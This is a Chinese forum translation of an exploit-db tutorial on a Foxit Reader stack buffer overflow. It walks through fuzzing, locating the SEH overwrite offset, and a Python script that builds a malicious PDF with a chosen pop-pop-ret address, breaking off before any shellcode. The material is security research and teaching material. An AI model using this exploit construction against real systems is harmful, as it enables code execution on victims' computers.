-
-
[翻译]Foxit阅读器栈缓冲区溢出—egghunter方法
-
发表于:
2011-3-30 13:22
11942
-
[翻译]Foxit阅读器栈缓冲区溢出—egghunter方法
【原文】
http://www.exploit-db.com/foxit-reader-stack-overflow-exploit-egghunter/
在以前,Adobe Reader 的0day可以说是遍地都是,自然地Foix Reader便被认为是比Adobe更为安全的选择。虽然那意味着Foxit的可利用的漏洞不如Adobe多,但是这并不等同于完全没有。
带着探究的目的,笔者就用Microsoft SDL MiniFuzz进行了一些模糊测试。让程序读取了很多文件,当然许多都是黑帽上的白皮纸文件,然后开始不断地测试它。经过几个小时的测试,笔者惊喜的发现了一些崩溃现象,其中有一个崩溃能够导致SEH被覆写。
图1

而下一步,就需要定位出是什么引起了这次崩溃,因此笔者用一个文本编辑器打开了这个pdf文件。如图
图2

由此可以了解到,首先,SHE被0x00E700E7(译者注:Unicode会在字节前面自动加00)覆写,由此可知这是一个Unicode利用程序;其次,程序的崩溃是因为Foxit在清理读入的标题标签的时候的失败导致的。笔者接下来的任务就是定位出来是在字符串的哪里发生了覆写,因此笔者用Metasploit随机生成了10000个字符,然后将它们粘贴进pdf文件中。
1 2 | Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab
|
用Foxit打开这个pdf文件后,发现SEH被笔者特意构造的字符给覆写了。
图3

看到图中字符串‘r9As’,因此能够定位出SEH的覆写位置。
经过上面的实验后,笔者尽量的去除那些没有用的数据,写了一段小python脚本来使这个工作更简单,当然脚本包括了nSEH和SEh被覆写的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20...
...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"
lead = "\x41" * 538
nseh = "\x42\x42"
seh = "\x43\x43"
trailer = "\x44" * 9384
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"
sploit = preamble + lead + nseh + seh + trailer
filename = "foxit_title.pdf"
evil = open (filename, 'w' )
evil.write(sploit)
evil.close
|
生成这个恶意pdf文件后用Foxit打开它。果然出现了一个完全可控的SEH链崩溃。
图4

找到了可控SEH后,接下来就是去寻找一个Unicode友好型pop-pop-retn指令序列。因为Foxit主体二进制没有用SafeSEH保护,因此笔者决定先看那里。笔者在0x004D002F处找到一个候选序列,因此直接把它加进了自己的脚本。当然也需要找到一些Unicode字符来放入nSEH以便使其在执行时能够步过SEH地址而不会对笔者的脚本造成伤害或者任何的编辑行为。
1 2 3 4 5 | ...
lead = "\x41" * 538
nseh = "\x41\x6d"
seh = "\x2F\x4D"
...
|
用Foxit载入新的pdf文件后,笔者在SEH处设置了一个断点并且步过这个异常两次以便到达笔者的p/p/r 地址。
图5

然后单步走过p/p/r指令进入nSEH直接走过了SEH的覆写。
图6

到了这一点后,每一件事都指示着这将会是一个很好的“vanilla” Unicode exploit。笔者需要做就是加一些宽字符shellcode进入堆栈。增加一些字符给EAX。笔者发现如下是坏字符序列:
[注意]看雪招聘,专注安全领域的专业人才平台!